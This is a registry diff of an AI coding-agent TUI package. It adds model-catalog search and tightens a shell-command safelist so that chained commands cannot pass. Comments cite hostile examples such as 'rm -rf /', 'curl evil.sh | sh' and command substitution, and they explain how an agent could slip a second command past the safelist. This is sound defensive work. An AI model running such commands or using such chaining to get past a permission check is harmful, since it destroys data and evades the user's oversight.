zidane 5.0.4 → 5.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/chat.d.ts +68 -12
- package/dist/chat.d.ts.map +1 -1
- package/dist/chat.js +2 -2
- package/dist/tui.d.ts +13 -15
- package/dist/tui.d.ts.map +1 -1
- package/dist/tui.js +415 -135
- package/dist/tui.js.map +1 -1
- package/dist/{turn-operations-BF3hMNgo.js → turn-operations-BfEh-GER.js} +133 -29
- package/dist/turn-operations-BfEh-GER.js.map +1 -0
- package/package.json +1 -1
- package/dist/turn-operations-BF3hMNgo.js.map +0 -1
|
@@ -2620,6 +2620,79 @@ function buildMcpServers(opts) {
|
|
|
2620
2620
|
return opts.discovered.filter((d) => allow.has(d.config.name)).map((d) => d.config);
|
|
2621
2621
|
}
|
|
2622
2622
|
//#endregion
|
|
2623
|
+
//#region src/chat/model-catalog.ts
|
|
2624
|
+
/**
|
|
2625
|
+
* Build the unified catalog from a list of available providers.
|
|
2626
|
+
*
|
|
2627
|
+
* Provider order is preserved (callers typically pass the picker order
|
|
2628
|
+
* — alphabetical, auth-detection order, etc.); model order inside each
|
|
2629
|
+
* provider matches whatever `modelsFor` returns. The current selection
|
|
2630
|
+
* (when set) is bubbled to the top of its provider's section so it
|
|
2631
|
+
* shows first without disturbing relative ordering elsewhere.
|
|
2632
|
+
*
|
|
2633
|
+
* `modelsFor` is injected (not imported from `./providers`) so the same
|
|
2634
|
+
* helper works with hosts that supply their own model resolver via
|
|
2635
|
+
* `ResolvedConfig.modelsFor`.
|
|
2636
|
+
*/
|
|
2637
|
+
function buildModelCatalog(opts) {
|
|
2638
|
+
const entries = [];
|
|
2639
|
+
for (const provider of opts.providers) {
|
|
2640
|
+
const models = opts.modelsFor(provider.key);
|
|
2641
|
+
if (models.length === 0) continue;
|
|
2642
|
+
let ordered = models;
|
|
2643
|
+
if (opts.current?.providerKey === provider.key) {
|
|
2644
|
+
const idx = models.findIndex((m) => m.id === opts.current?.modelId);
|
|
2645
|
+
if (idx > 0) {
|
|
2646
|
+
const next = models.slice();
|
|
2647
|
+
const [active] = next.splice(idx, 1);
|
|
2648
|
+
next.unshift(active);
|
|
2649
|
+
ordered = next;
|
|
2650
|
+
}
|
|
2651
|
+
}
|
|
2652
|
+
for (const model of ordered) entries.push({
|
|
2653
|
+
providerKey: provider.key,
|
|
2654
|
+
providerLabel: provider.label,
|
|
2655
|
+
model,
|
|
2656
|
+
searchCorpus: buildSearchCorpus(provider, model)
|
|
2657
|
+
});
|
|
2658
|
+
}
|
|
2659
|
+
return entries;
|
|
2660
|
+
}
|
|
2661
|
+
/**
|
|
2662
|
+
* Filter `catalog` by a user query. Empty / whitespace-only queries
|
|
2663
|
+
* pass everything through unchanged (`O(1)` short-circuit). Multi-term
|
|
2664
|
+
* queries (space-separated) require EVERY term to appear somewhere in
|
|
2665
|
+
* the entry's search corpus — so `"claude opus"` matches `claude-opus-4`
|
|
2666
|
+
* regardless of how the words are interleaved with provider names.
|
|
2667
|
+
*
|
|
2668
|
+
* Match is case-insensitive (the corpus is pre-lowercased; the query
|
|
2669
|
+
* is lowercased once per call).
|
|
2670
|
+
*/
|
|
2671
|
+
function filterModelCatalog(catalog, query) {
|
|
2672
|
+
const trimmed = query.trim().toLowerCase();
|
|
2673
|
+
if (!trimmed) return catalog.slice();
|
|
2674
|
+
const terms = trimmed.split(/\s+/);
|
|
2675
|
+
return catalog.filter((entry) => terms.every((t) => entry.searchCorpus.includes(t)));
|
|
2676
|
+
}
|
|
2677
|
+
/**
|
|
2678
|
+
* Find a catalog entry's index by its `{providerKey, modelId}` tuple.
|
|
2679
|
+
* Returns `-1` when not present. Useful when re-rendering the picker
|
|
2680
|
+
* (a query just narrowed the list, where did the selection land?).
|
|
2681
|
+
*/
|
|
2682
|
+
function indexOfEntry(catalog, target) {
|
|
2683
|
+
if (!target) return -1;
|
|
2684
|
+
return catalog.findIndex((e) => e.providerKey === target.providerKey && e.model.id === target.modelId);
|
|
2685
|
+
}
|
|
2686
|
+
function buildSearchCorpus(provider, model) {
|
|
2687
|
+
return [
|
|
2688
|
+
provider.key,
|
|
2689
|
+
provider.label,
|
|
2690
|
+
model.id,
|
|
2691
|
+
model.name ?? "",
|
|
2692
|
+
model.provider ?? ""
|
|
2693
|
+
].join(" ").toLowerCase();
|
|
2694
|
+
}
|
|
2695
|
+
//#endregion
|
|
2623
2696
|
//#region src/chat/oauth.ts
|
|
2624
2697
|
function supportsOAuth(descriptor) {
|
|
2625
2698
|
return descriptor.oauthProvider !== void 0;
|
|
@@ -2826,43 +2899,74 @@ function primaryArgValue(input) {
|
|
|
2826
2899
|
}
|
|
2827
2900
|
return "";
|
|
2828
2901
|
}
|
|
2829
|
-
/** Extract the first whitespace-delimited token of the primary arg. */
|
|
2830
|
-
function primaryArgToken(input) {
|
|
2831
|
-
return primaryArgValue(input).split(/\s+/)[0] ?? "";
|
|
2832
|
-
}
|
|
2833
2902
|
/**
|
|
2834
|
-
*
|
|
2835
|
-
*
|
|
2836
|
-
*
|
|
2837
|
-
* `git status && rm -rf /` would tokenize to `git` and pass the safelist
|
|
2838
|
-
* unchallenged. Reject any command that's not a single program call.
|
|
2839
|
-
*
|
|
2840
|
-
* The regex is intentionally generous: false positives (e.g. `echo "hi & bye"`)
|
|
2841
|
-
* just prompt the user again, which is the safe failure mode.
|
|
2903
|
+
* Extract the first whitespace-delimited token of the primary arg.
|
|
2904
|
+
* Leading whitespace is trimmed first so `" git status"` tokenizes to
|
|
2905
|
+
* `"git"`, not `""` (an empty first element from `.split(/\s+/)`).
|
|
2842
2906
|
*/
|
|
2843
|
-
|
|
2844
|
-
|
|
2845
|
-
|
|
2907
|
+
function primaryArgToken(input) {
|
|
2908
|
+
return primaryArgValue(input).trim().split(/\s+/)[0] ?? "";
|
|
2909
|
+
}
|
|
2910
|
+
/**
|
|
2911
|
+
* Shell features that introduce a SECOND, UNRELATED command into the
|
|
2912
|
+
* pipeline — and would silently bypass a `shell:<head>:*` safelist that
|
|
2913
|
+
* the user only meant to cover the head program. We block these
|
|
2914
|
+
* specifically:
|
|
2915
|
+
*
|
|
2916
|
+
* - `;` — sequence operator (`git status; rm -rf /`)
|
|
2917
|
+
* - `&&` / `||` — and-/or-chains (`git status && curl evil.sh | sh`)
|
|
2918
|
+
* - `\n` / `\r` — multi-line scripts, equivalent to `;`
|
|
2919
|
+
* - `` ` `` — backtick command substitution (`echo \`rm -rf /\``)
|
|
2920
|
+
* - `$(…)` — modern command substitution (`echo $(rm -rf /)`)
|
|
2921
|
+
*
|
|
2922
|
+
* We deliberately do NOT block:
|
|
2923
|
+
*
|
|
2924
|
+
* - `|` — pipes; required for the bread-and-butter CLI pattern
|
|
2925
|
+
* `sentry issue list … | jq -r '.[]'`.
|
|
2926
|
+
* - `>` / `>>` / `<` / `2>&1` — I/O redirection; `cmd > out.txt` and
|
|
2927
|
+
* `cmd 2>&1 | jq` are normal CLI usage.
|
|
2928
|
+
* - `&` (alone) — backgrounding; runs the same command in the background
|
|
2929
|
+
* rather than chaining a new one.
|
|
2930
|
+
* - `(…)` — subshells; rare in practice, and the chaining
|
|
2931
|
+
* detectors above already catch the dangerous content
|
|
2932
|
+
* that would typically live inside them.
|
|
2933
|
+
*
|
|
2934
|
+
* Trade-off: a model that controls the output of the safelisted head
|
|
2935
|
+
* command could in principle pipe garbage into a destructive tool
|
|
2936
|
+
* (`sentry list | sh`). The original implementation blocked all
|
|
2937
|
+
* metacharacters to avoid that risk, but it made `shell:<head>:*`
|
|
2938
|
+
* unusable for real CLI workflows — users hit the prompt on every
|
|
2939
|
+
* `cmd | jq` and learned to ignore the modal. Allowing pipes/redirects
|
|
2940
|
+
* trusts the user's explicit "I want everything starting with <head>"
|
|
2941
|
+
* decision; the chaining rejections above keep the obvious escape
|
|
2942
|
+
* hatches closed.
|
|
2943
|
+
*
|
|
2944
|
+
* The regex is intentionally generous: false positives (e.g. a literal
|
|
2945
|
+
* `&&` inside a quoted argument) just prompt the user again, which is
|
|
2946
|
+
* the safe failure mode.
|
|
2947
|
+
*/
|
|
2948
|
+
const SHELL_CHAINING_RE = /&&|\|\||\$\(|[;`\n\r]/;
|
|
2949
|
+
function hasShellChaining(command) {
|
|
2950
|
+
return SHELL_CHAINING_RE.test(command);
|
|
2846
2951
|
}
|
|
2847
2952
|
/**
|
|
2848
2953
|
* Test whether a `{ tool, input }` pair is covered by one safelist entry.
|
|
2849
2954
|
*
|
|
2850
2955
|
* Supported entry shapes:
|
|
2851
|
-
* - `"<tool>"` — broad match on tool name. For `shell
|
|
2852
|
-
*
|
|
2853
|
-
* - `"<tool>:<token>:*"` — match when the primary arg's first token
|
|
2854
|
-
* `<token>`. For `shell`,
|
|
2855
|
-
*
|
|
2856
|
-
*
|
|
2857
|
-
*
|
|
2858
|
-
*
|
|
2859
|
-
*
|
|
2860
|
-
*
|
|
2861
|
-
* version of the TUI).
|
|
2956
|
+
* - `"<tool>"` — broad match on tool name. For `shell`, the command
|
|
2957
|
+
* must not chain through another program (see {@link SHELL_CHAINING_RE}).
|
|
2958
|
+
* - `"<tool>:<token>:*"` — match when the primary arg's first token
|
|
2959
|
+
* equals `<token>`. For `shell`, same chaining gate as above. Pipes
|
|
2960
|
+
* and redirects are allowed so `shell:sentry:*` covers the typical
|
|
2961
|
+
* `sentry … | jq …` workflow.
|
|
2962
|
+
*
|
|
2963
|
+
* Entries that don't fit either shape are ignored (forward-compat for
|
|
2964
|
+
* future pattern syntax — readers shouldn't choke on entries written
|
|
2965
|
+
* by a newer version of the TUI).
|
|
2862
2966
|
*/
|
|
2863
2967
|
function matchesSafelistEntry(entry, tool, input) {
|
|
2864
2968
|
if (tool === "shell") {
|
|
2865
|
-
if (
|
|
2969
|
+
if (hasShellChaining(typeof input.command === "string" ? input.command : "")) return false;
|
|
2866
2970
|
}
|
|
2867
2971
|
if (entry === tool) return true;
|
|
2868
2972
|
const sep = entry.indexOf(":");
|
|
@@ -3601,6 +3705,6 @@ function countNeighbors(turnIds, turnId) {
|
|
|
3601
3705
|
};
|
|
3602
3706
|
}
|
|
3603
3707
|
//#endregion
|
|
3604
|
-
export {
|
|
3708
|
+
export { SETTINGS_TOGGLES as $, modelsForDescriptor as $t, readProjects as A, FILES_TRIGGER as At, defaultMcpsConfigPaths as B, credentialsPath as Bt, useSafeModeQueue as C, titleFromTurns as Ct, isOnSafelist as D, SKILLS_TRIGGER as Dt, getSafelist as E, findGitRoot$1 as Et, supportsOAuth as F, findActiveTrigger as Ft, ageString as G, writeCredentials as Gt, parseMcpsFile as H, readProviderCredential as Ht, buildModelCatalog as I, mergeReferences as It, shortId as J, cerebrasDescriptor as Jt, compactPath as K, BUILTIN_PROVIDERS as Kt, filterModelCatalog as L, useCompletion as Lt, writeProjects as M, uniqueFilesFromReferences as Mt, splitPromptSegments as N, applyInsert as Nt, matchesSafelistEntry as O, createSkillsCompletionProvider as Ot, runOAuthLogin as P, collectReferences as Pt, SETTINGS_CHOICES as Q, modelSupportsReasoning as Qt, indexOfEntry as R, detectAuth as Rt, useSafeModeActions as S, stripSpawnTokensLine as St, addToSafelist as T, toolResultText as Tt, cleanTitle as U, removeProviderCredential as Ut, discoverProjectMcps as V, readCredentials as Vt, generateSessionTitle as W, setProviderCredential as Wt, useEnabledToggleSet as X, getContextWindow as Xt, listProjectFiles as Y, credKeyOf as Yt, DEFAULT_SETTINGS as Z, getModelInfo as Zt, discoverProjectSkills as _, lastContextSizeFromTurns as _t, ThemeProvider as a, DEFAULT_AGENT_ID as an, resolveTheme as at, writeSessionExport as b, saveState as bt, useSurfaces as c, singleAgentRegistry as cn, CATPPUCCIN_LATTE as ct, finalizeStreamingMarkdown as d, ConfigProvider as dt, openaiDescriptor as en, SettingsProvider as et, finalizeStreamingMarkdownForOwner as f, useConfig as ft, defaultSkillScanPaths as g, eventsFromTurns as gt, buildSkillsConfig as h, deriveSessionTitle as ht, turnAsText as i, BUILTIN_AGENTS as in, resolveChipColor as it, suggestSafelistEntry as j, createFilesCompletionProvider as jt, projectsFilePath as k, uniqueSkillNamesFromReferences as kt, useSyntaxStyles as l, CATPPUCCIN_MACCHIATO as lt, useStreamBuffer as m, createStateStore as mt, deleteTurnSafely as n, piIdOf as nn, BUILTIN_THEMES as nt, useColors as o, PLAN_AGENT as on, VAPORWAVE_THEME as ot, turnContextSize as p, resolveConfig as pt, fmtTokens as q, anthropicDescriptor as qt, truncateTurnsAt as r, BUILD_AGENT as rn, DEFAULT_THEME as rt, useSelectStyle as s, resolveAgentId as sn, CATPPUCCIN_FRAPPE as st, countNeighbors as t, openrouterDescriptor as tn, useSettings as tt, useTheme as u, CATPPUCCIN_MOCHA as ut, renderSession as v, listSessionMeta as vt, IMPLICITLY_SAFE_TOOLS as w, toolCallPreview as wt, SafeModeProvider as x, selectableTurnIds as xt, resolveSessionExportTarget as y, loadState as yt, buildMcpServers as z, applyApiKeyEnv as zt };
|
|
3605
3709
|
|
|
3606
|
-
//# sourceMappingURL=turn-operations-
|
|
3710
|
+
//# sourceMappingURL=turn-operations-BfEh-GER.js.map
|